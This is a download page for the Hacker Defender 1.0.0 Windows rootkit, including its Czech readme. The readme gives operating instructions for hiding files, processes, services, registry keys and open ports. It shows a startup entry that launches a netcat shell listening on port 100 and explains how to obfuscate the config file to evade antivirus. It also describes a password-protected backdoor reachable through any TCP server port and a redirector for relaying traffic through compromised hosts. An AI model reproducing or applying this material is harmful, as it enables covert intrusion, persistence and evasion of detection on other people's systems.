hxdef100
所属分类:网络编程
开发工具:Visual C++
文件大小:210KB
下载次数:93
上传日期:2004-07-12 09:21:44
上 传 者:
管理员
说明: Hacker Defender
(Hacker Defender )
文件列表:
bdcli100.exe (26624, 2003-12-31)
hxdef100.2.ini (3695, 2003-12-31)
hxdef100.exe (70144, 2003-12-31)
hxdef100.ini (3872, 2003-12-31)
rdrbs100.exe (49152, 2003-12-31)
src.zip (93174, 2004-01-04)
=======================[ Hacker defender - Czech readme ]=======================
NT Rootkit
----------
Autori: Holy_Father
Ratter/29A
Verze: 1.0.0
Datum: 01.01.2004
Home: http://rootkit.host.sk, http://hxdef.czweb.org
Betatesteri: ch0pper
aT4r
phj34r
unixdied <0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai>
rebrinak
GuYoMe
ierdna
Afakasf
Readme: ceske & anglicke napsal holy_father
francouzske napsal GuYoMe
=====[ 1. Obsah ]===============================================================
1. Obsah
2. Uvod
2.1 Idea
2.2 Licence
3. Pouziti
4. Inifile
5. Backdoor
5.1 Redirector
6. Technicke otazky
6.1 Verze
6.2 Hookovane API
6.3 Zname chyby
7. Faq
8. Soubory
=====[ 2. Uvod ]========================================================
Hacker defender (hxdef) je rootkit pro Windows NT 4.0, Windows 2000
a Windows XP, muze take fungovat in na pozdejsich verzich systemu zalozenem
na NT technologii. Hlavni telo programu je napsano v Delphi 6. Nove funkce
jsou nasapsany v assembleru. Driver je napsan v C. Klienti backdooru
a redirectoru jsou programovani prevazne v Delphi 6.
program pouziva upraveny LDE32
LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE
special edition for REVERT tool
version 1.05
program pouziva Superfast/Supertiny Compression/Encryption library
Superfast/Supertiny Compression/Encryption library.
(c) 19*** by Jacky Qwerty/29A.
=====[ 2.1 Idea ]===============================================================
Zakladni myslenka tohoto programu spociva v prepsani casti pameti
u vsech procesu bezicich v systemu. Prepsanim funkcni zakladnich modulu
se docili zmeny chovani procesu. Prepsani nesmi nijak ovlivnit stabilitu
systemu ani jednotlivych procesu.
Program musi byt absolutne neviditelny. Nyni umoznuje uzivateli skryt
soubory, procesy, systemove sluzby a drivery, klice a hodnoty v registru,
otevrene porty, umoznuje zmenu volneho mista na disku. Take maskuje zmenu
prepsane pameti a skryva handly skrytych procesu. Program nainstaluje
neviditelne backdoory a zaregistruje se jako neviditelna systemova sluzba
a take nainstaluje neviditelny driver. Technologie backdooru pak umoznila
i implantaci redirectoru.
=====[ 2.2 Licence ]============================================================
Ve verzi 1.0.0 je projekt open source.
A samozrejme, ze autori nejsou zodpovedni za nasledky vasi cinnosti
nebo pouzivanim Hacker defender.
=====[ 3. Pouziti ]===============================================================
Pouziti hxdefu je celkem snadne:
>hxdef100.exe [inifile]
nebo
>hxdef100.exe [switch]
Pokud neni inifile zadan nebo se spousti se switchem, bere se defautne
jako inifile EXENAME.ini, kde EXENAME je jmeno hlavniho programu bez pripony
(defaultne tedy hxdef100.ini).
Tyto switche je mozne pouzit pouzit:
-:installonly - pouze nainstaluje sluzbu, ale nespusti se
-:refresh - slouzi k updatovani nastaveni z inifilu
-:noservice - neinstaluje se jako sluzba a spusti se normalne
-:uninstall - uplne odstrani hxdef z pameti a ukonci vsechna
bezici spojeni backdooru
zastaveni systemove sluzby hxdefu dela totez
Priklad:
>hxdef100.exe -:refresh
Hxdef se svym defaultnim inifilem je pripraven k pouziti bez zmen
inifilu. Je ale doporuceno vytvorit vlastni nastaveni. Pro vice informaci viz
sekce 4. Inifile.
Switche -:refresh a -:uninstall lze zavolat pouze z originalniho
exe souboru. To znamena, ze musite znat presnou cestu a jmeno souboru beziciho
hxdefu, abyste mohli zmenit jeho nastaveni, nebo ho odinstallovat.
=====[ 4. Inifile ]=============================================================
Inifile musi obsahovat devet casti: [Hidden Table], [Root Processes],
[Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run],
[Free Space], [Hidden Ports] a [Settings]. V seznamech jsou mezery na pocatku
a na konci jmena polozky ignorovany. V [Hidden Table], [Root Processes],
[Hidden Services] a [Hidden RegValues] je moznost pouziti znaku * jako
zastupneho znaku za konec retezce. Hvezdicku lze pouzit pouze na konci, vse za
prvni hvezdickou se ignoruje.
Priklad:
[Hidden Table]
hxdef*
skryje vsechny soubory, adresare a procesy zacinajici "hxdef".
Hidden Table obsahuje vycet souboru, adresaru a procesu, ktere se maji
skryt. Pokud se jedna o soubory a adresare, nebude moznost je videt ve file
managerech. Pokud se jedna o programy, budou neviditelne v tasklistu. Ujistete
se, ze jmena souboru hlavniho programu, inifilu, backdooru a driveru jsou
v tomto vyctu uvedeny.
Root Processes obsahuje vycet programu, ktere budou imuni vuci infekci.
Pouze temito programy je mozne videt skryte soubory, slozky a programy. Tyto
programy jsou tedy urceny pro spravce rootkitu. Je mozne mit root proces,
ktery neni skryty a naopak.
Hidden Services je seznam nazvu systemovych sluzeb, ktere maji byt
skryty v tabulce systemovych sluzeb. Defaultni jmeno systemove sluzby hlavniho
programu rootkitu je HackerDefender100, jmeno driveru je defaultne nastaveno
na HackerDefenderDrv100. Obe tato jmena lze zmenit v inifilu.
Hidden RegKeys je seznam klicu v registru, ktere budou skryty. Rootkit
ma v registru ctyri klice: HackerDefender100, LEGACY_HACKERDEFENDER100,
HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 defaultne. Pokud zmenite
jmeno sluzby nebo driveru, meli byste take zmenit tyto polozky.
Prvni dva klice registru jsou shode se jmenem sluzby a driveru. Dalsi
dva jsou LEGACY_JMENO. Pokud tedy zmenite jmeno sluzby na BoomTotoJeMojeSluzba,
vase jmeno klice v registru bude LEGACY_BOOMTOTOJEMOJESLUZBA.
Hidden RegValues je seznam hodnot v registru, ktere budou skryty.
Startup Run je seznam programu, ktere rootkitu spusti po svem spusteni.
Tyto programy pobezi pod stejnymi pravy jako rootkit. Jmeno programu je
oddeleno otaznikem od jeho parametru. Nepouzivaji se znaky ". Tyto programy
jsou ukonceny pri prihlaseni uzivatele. Ke spusteni programu po kazdem
prihlaseni uzivatele pouzijte klasicke metody. V tomto seznamu muzete pouzit
tyto zkratky:
%cmd% - zkratka pro soubor systemoveho shellu + cesta
(napr. C:\winnt\system32\cmd.exe)
%cmddir% - zkratka pro adresar systemoveho shellu
(napr. C:\winnt\system32\)
%sysdir% - zkratka pro systemovy adresar
(napr. C:\winnt\system32\)
%windir% - zkratka pro adresar Windows
(napr. C:\winnt\)
%tmpdir% - zkratka pro docasny adresar
(napr. C:\winnt\temp\)
Priklad:
1)
[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe
pri spusteni rootkitu se spusti netcat-shell poslouchajici na portu 100
2)
[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt
pri kazdem spusteni rootkitu zapise cas do souboru
temporary_directory\starttime.txt (napr. do C:\winnt\temp\starttime.txt)
(%TIME% funguje pouze pro Windows 2000 a vyssi)
Free Space je seznam disku a poctu bytu, ktere maji byt pridany
k volnemu mistu na tomto disku. Format jedne polozky seznamu je X:NUM, kde X
oznacuje jmeno jednotky a NUM je pocet bytu, ktere budou pricteny k volnemu
mistu na tomto disku.
Priklad:
[Free Space]
C:123456789
prida asi 123 MB k volnemu mistu na disku C, ktere se ukazuje ve vlastnostech
disku
Hidden Ports je seznam otevrenych portu, ktere nemaji byt videt
v programech jako jsou OpPorts, FPort, Active Ports, Tcp View atd. Tento seznam
ma maximalne 2 radky. Format prvni radky je TCP:tcpport1, tcpport2,
tcpport3 ..., format druhe radky pak UDP:udpport1, udpport2, udpport3 ...
Priklad:
1)
[Hidden Ports]
TCP:8080,456
toto skryje dva porty: 8080/TCP a 456/TCP
2)
[Hidden Ports]
TCP:8001
UDP:12345
toto skryje dva porty: 8001/TCP a 12345/UDP
3)
[Hidden Ports]
TCP:
UDP:53,54,55,56,800
toto skryje pet portu: 53/UDP, 54/UDP, 55/UDP, 56/UDP a 800/UDP
Settings obsahuji osm hodnot: Password, BackdoorShell, FileMappingName,
ServiceName, ServiceDisplayName, ServiceDescription, DriverName
a DriverFileName.
Password je heslo slozene z 16 znaku, ktere je pak nutno zadavat pri
praci s backdoorem a redirectorem. Heslo muze byt i kratsi, zbytek se doplni
mezerami.
BackdoorShell je jmeno kopie shellu, ktera se vytvori pri spusteni
backdooru v docasnem adresari.
FileMappingName je jmeno sdilene pameti, kde je uchovano nastaveni
z inifilu pro hooknute procesy.
ServiceName je jmeno sluzby rootkitu.
ServiceDisplayName je zobrazovane jmeno sluzby.
ServiceDescription je popis sluzby.
DriverName je jmeno driveru.
DriverFileName je jmeno souboru pro driver hxdefu.
Priklad:
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdefá$.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
zde je heslo pro backdoor "hxdef-rulez", backdoor zkopiruje systemovy shell
(vetsinou cmd.exe) do souboru "hxdefá$.exe" do docasneho adresare. Jmeno
sdilene pameti je "_.-=[Hacker Defender]=-._". Jmeno sluzby je nastaveno
na "HackerDefender100", zobrazovane jmeno sluzby pak na "HXD Service 100".
Popis sluzby je "poweful NT rootkit". Jmeno driveru je "HackerDefenderDrv100".
Driver bude ulozen v souboru "hxdefdrv.sys".
Specialni znaky |, <, >, :, \, / a " jsou ignorovany na vsech radkach
inifilu s vyjimkou polozek [Startup Run], [Free Space] a [Hidden Ports] a take
nejsou ignorovany za prvnim = v polozkach [Settings]. Pouzitim specialnich
znaku lze dosahnout zmateni antiviru, ktere detekuji inifile.
Priklad:
[H<<>a/"ble]
>h"xdef"*
je totez jako
[Hidden Table]
hxdef*
viz hxdef100.ini a hxdef100.2.ini pro vic prikladu
Vsechny retezce v inifilu krome tech v Settings a Startup Run nejsou
case sensitivni.
=====[ 5. Backdoor ]============================================================
Rootkit hookuje nekolik API funkci ve souvislosti s prijimanim dat
ze site. Pokud jsou prichozi data shodna s 256 bitovym identifikacnim klicem,
overi se heslo a sluzba, zkopiruje se shell do souboru v tempu, vytvori se
instance shellu a nasledujici tok dat se presmeruje na tento shell.
Protoze se hooknuti tyka vsech procesu, vznikne v systemu na vsech TCP
portech serveru backdoor. Napriklad pokud ma server otevreny port 80/TCP
pro HTTP, bude tento port slouzit i jako backdoor. Vyjimku zde tvori porty
otevrene procesem System, ktery neni hooknuty. Backdoor muze fungovat jen tam,
kde prijimaci buffer je alespon 256 bitu, coz ale odpovida temer vsem
standardnim serverum jako jsou Apache, IIS nebo Oracle. Vznika tedy backdoor,
ktery je neviditelny diky tomu, ze jeho komunikace probiha pres klasicky
server. Z tohoto vyplyva nemoznost detekovat backdoor klasickym portscanem
a naopak bezproblemovy beh pres firewall. Vyjimku tvori klasicke proxy,
ktere jsou orientovany na vyssi protokoly jako napr. FTP nebo HTTP.
Pri testech na sluzbach IIS se zjistilo, ze HTTP server neloguje tento
pristup vubec, FTP a SMTP servery zaregistruji koncove odpojeni od serveru.
Pro pripojeni k backdooru tedy musite pouzit specialniho klienta.
K tomu slouzi program bdcli100.exe.
Pouziti: bdcli100.exe host port password
Priklad:
>bdcli100.exe www.windowsserver.com 80 hxdef-rulez
spoji se s backdoorem, pokud je nainstalovan na serveru www.windowsserver.com
a pokud defaulni heslo pro backdoor nebylo zmeneno
Klient pro verzi 1.0.0 neni kompatibilni se servery starsich verzi.
=====[ 5.1 Redirector ]=========================================================
Na zaklade techinky backdooru byl implementovan redirector. Pocatek
komunikace se navazuje stejne jako u backdooru. Dalsi pakety jsou uz specialni
a urcene primo pro redirector. Tyto pakety generuje pouze redirectorova baze,
kterou uzivatel spousti na svem pocitaci. Pocatecni paket redirovaneho spojeni
urcuje cil prenosu, na zaklade toho se pak cele spojeni prenasi na cilovy
server a port.
Base redirectoru uklada sva data do inifilu, ktery je pojmenovan podle
jmena exe souboru baze (defaultne tedy rdrbs100.ini). Pokud soubor neexistuje,
je automaticky vytvoren. Inifile baze se doporucuje needitovat rucne. Vse lze
nastavit z koznole baze.
Pokud chceme pouzit redirector na serveru s instalovanym rootkitem,
musime nejprve na localhostu spustit bazi. Pote v konzole baze pridame tzv.
mapped port k rootkitu na vzdalenem serveru. Nakonec se pripojime na bazi
na localhostu na zvoleny port a prenasime data. Datova komunikace je sifrovana
pomoci hesla rootkitu. V soucasne verzi je rychlost omezena kolem 256 kBps.
Redirector rozhodne neni urcen k vysokorychlostnim prenosum velkych souboru.
Redirector je omezen systemem, na kterem bezi a jeho okolim. Redirector pracuje
na protokolu TCP.
Baze je ovladana v soucasne verzi pres 19 prikazu. Zadavani neni case
senzitive. Jejich funkce osvetluje prikaz HELP. Po startu baze se vykonaji
prikazy v startup-listu. Prikazy startup-listu se edituji pomoci konzolovych
prikazu zacinajicich SU.
Redirector v teto verzi rozlisuje HTTP a ostatni typy spojeni. Pokud je
typ spojeni oznacen jako HTTP, v paketech se meni parametr Host v hlavicce
protokolu HTTP. Pro ostatni typy spojeni se pakety nemeni. Maximalni pocet
redirektoru na jednu bazi je 1000.
Program je plne funkcni jen pro Windows NT. Pouze na NT je mozno mit
iconu v trayi a schovavat konzolu prikazem HIDE. Pouze na NT je mozne spoustet
bazi v tzv. silent modu, pri nemz program nema zadny vystup ani ikonu a bezi
az do sveho ukonceni podle prikazu v startup-listu.
Priklady:
1) vypsani stavu mapped portu:
>MPINFO
No mapped ports in the list.
2) pridani prikazu MPINFO do startup-listu a vypsani startup-listu:
>SUADD MPINFO
>sulist
0) MPINFO
3) pouziti prikazu HELP:
>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]
4) prida***pped portu, chceme na localhostu poslouchat na portu 100, rootkit
je instalovan na serveru 200.100.2.36 na portu 80, server, na ktery chceme
presmerovat data je www.google.com na port 80, heslo rootkitu je bIgpWd,
spojeni je typu HTTP, ip adresa ciloveho serveru (www.google.com) - ip musime
vzdy znat - je 216.239.53.100:
>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
prikaz ADD muzeme spustit i bez parametru, pak jsme na kazdy zvlast dotazani
5) nyni znovu muzeme zkontrolovat porty pomoci prikazu MPINFO:
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.
6) vypsani seznamu mapped portu:
>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7) vypsani detailu o mapped portu:
>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED
8) muzeme otestovat zda na serveru 200.100.2.36 je opravdu rootkit s timto
heslem (tento test neni nutny provadet pred pouzitim portu):
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK
v pripade, ze test selze, vraci se
Testing 0) 200.100.2.36:80:bIgpWd - FAILED
9) port je zatim zavreny, pro pouziti se musi otevrit prikazem OPEN, zavrit
se pak muze prikazem CLOSE, pokud chceme aplikovat prikaz na vsecky porty,
piseme misto indexu portu priznak ALL, stav otevreni/zavreni se zobrazi kratce
po zadani prikazu:
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.
nebo
>OPEN ALL
Port number 0 opened.
10) prikazem SAVE se ulozi aktualni nastaveni do souboru (uklada se take
automaticky pri ukonceni aplikace prikazem EXIT bez priznaku DIS):
>SAVE
Saved successfully.
Po otevreni portu je jiz vse pripraveno pro komunikaci, nyni si muzete ve svem
oblibenem prohlizeci zadat jako url retezec http://localhost:100/ a sledovat,
kterak se nacita stranka www.google.com.
Prvni pakety spojeni mohou dorazit se spozdenim az 5 sekund, ostatni
jsou pak jiz jen omezeny rychlosti serveru, rychlosti vaseho spojeni a limitem
technologie redirectoru, ktery je v teto verzi kolem 256 kBps.
=====[ 6. Technicke otazky ]====================================================
Tato sekce neobsahuje zadne zajimave informace pro bezne uzivatele.
Tuto sekci by vsak meli cist vsichni betatesteri a vyvojari.
=====[ 6.1 Verze ]==============================================================
TODO - unify backdoor, redirector and file manager
- napsat novy, lepsi backdoor
- podpora proxy pro backdoor
- skryti pro vzdalene uzivatele (netbios, vzdaleny registr)
- zmeny typu skryte pameti (pokrocile zkryti pameti)
- hooknout NtNotifyChangeDirectoryFile
1.0.0 + open source
0.8.4 + francouzske readme
+ hooknuti NtCreateFile pro skryti praci se soubory
+ jmeno mailslotu je dynamicke
+ novy switch -:uninstall pro odstraneni a update hxdefu
+ -:refresh lze ted zavolat pouze z originalniho exe souboru
+ nove readme - nekolik oprav, vice informaci, faq
+ zkratky pro [Startup Run]
+ pridavani volneho mista hooknutim NtQueryVolumeInformationFile
+ skyti otevrenych portu hooknutim NtDeviceIoControlFile
+ mnohem vic informaci v [Comments] v inifilu
+ podpora Ctrl+C v backdooru
+ FileMappingName je nyni volitelne
+ Root Processes bezi na systemove urovni
+ skryti handlu hooknutim NtQuerySystemInformation class 16
+ pouzivani systemoveho driveru
+ antiantivirus inifile
+ vice stabilni pri spusteni Windows a pri jeho vypinani
+ zlepsene skryti pameti
- nalezen bug v klientu backdooru pri kopirovani dat z clipboardu
x nalezen a opraven bug se jmenem sluzby
x nalezen a opraven bug pricitani pidu hookem NtOpenProcess
x nalezen a opraven bug v hookovani NtReadVirtualMemory
x nalezeno a opraveno nekolik mensich bugu
x nalezen a opraven bug ve jmenu shellu backdooru
0.7.3 + direct hooking method
+ skryvani souboru hooknutim NtQueryDirectoryFile
+ podpora skryvani souboru ntvdm hooknutim NtVdmControl
+ hookovani novych procesu pres NtResumeThread
+ infekce procesu hookovanim LdrInitializeThunk
+ ... ...
近期下载者:
相关文件:
收藏者: